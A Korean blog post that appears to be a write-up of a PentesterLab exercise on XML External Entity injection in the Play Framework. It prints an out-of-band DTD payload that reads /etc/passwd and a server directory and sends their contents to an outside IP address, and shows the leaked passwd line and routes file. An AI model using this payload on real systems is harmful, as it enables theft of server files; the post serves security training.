[PentesterLab] XXE

쥬스몬·2022년 3월 17일
0

PentesterLab

목록 보기
13/20

PentestLab의 Play XML Entities 문제를 풀이

이번 문제는 Play Framework의 XML External Entities 삽입 취약점에 대해 얘기한다.

login페이지에서 로그인 패킷을 확인하면 아래와 같다.

여기서 xml을 삽입하기 위해 Content-Type을 변경하고 Body에 xml을 삽입한다. 여기서는 삽입한 XML이 서버에서 작동하는지 확인하기 위해 Burp Collaborator를 사용한다.

xml이 실행되면서 Burp Collaborator에 접근하였음을 확인할 수 있다.

XML로 전달한 Entities가 Response에 삽입되지 않아 외부 Entities를 사용하여 dtd파일을 다운받아 실행 하도록한다.

test.dtd 파일의 내용은 아래와 같다. 해당 dtd를 다운받아 실행하면 타겟 서버의 /etc/passwd파일의 내용을 원격지 서버의 BLAH 페이지의 파라미터로 전달한다.

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://211.204.193.68/BLAH?%p1;'>">
%p2;

해당 공격이 성공하면 공격자 서버에는 다음과 같은 요청이 발생한다😎

....
....

play:x:1000:1000::/opt/play-2.1.3:/bin/bash

/etc/passwd의 내용중 play 유저의 홈 Dir을 확인해보기 위해 원격지의 test.dtd를 수정하였으며, 다시 이전과 동일한 xml 구문을 타겟 서버에 전달하였다.

<!ENTITY % p1 SYSTEM "file:///opt/play-2.1.3">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://211.204.193.68/BLAH?%p1;'>">
%p2;

위 결과로 아래와 같이 타겟 서버의 디렉터리를 탐색할 수 있었다.

위의 행동을 반복적으로 하면서 /opt/play-2.1.3/xxe/conf/routes 파일을 확인했으며 secret_url함수가 렌더링 되는 파일을 확인했다.

GET     /                           controllers.Application.index()
GET     /taifai2KooF8ieceshaeZai2             controllers.Application.secret_url()
GET       /login                   controllers.Application.login
POST      /login                   controllers.Application.login
GET       /logout                  controllers.Application.logout

GET     /assets/*file               controllers.Assets.at(path="/public", file)
profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글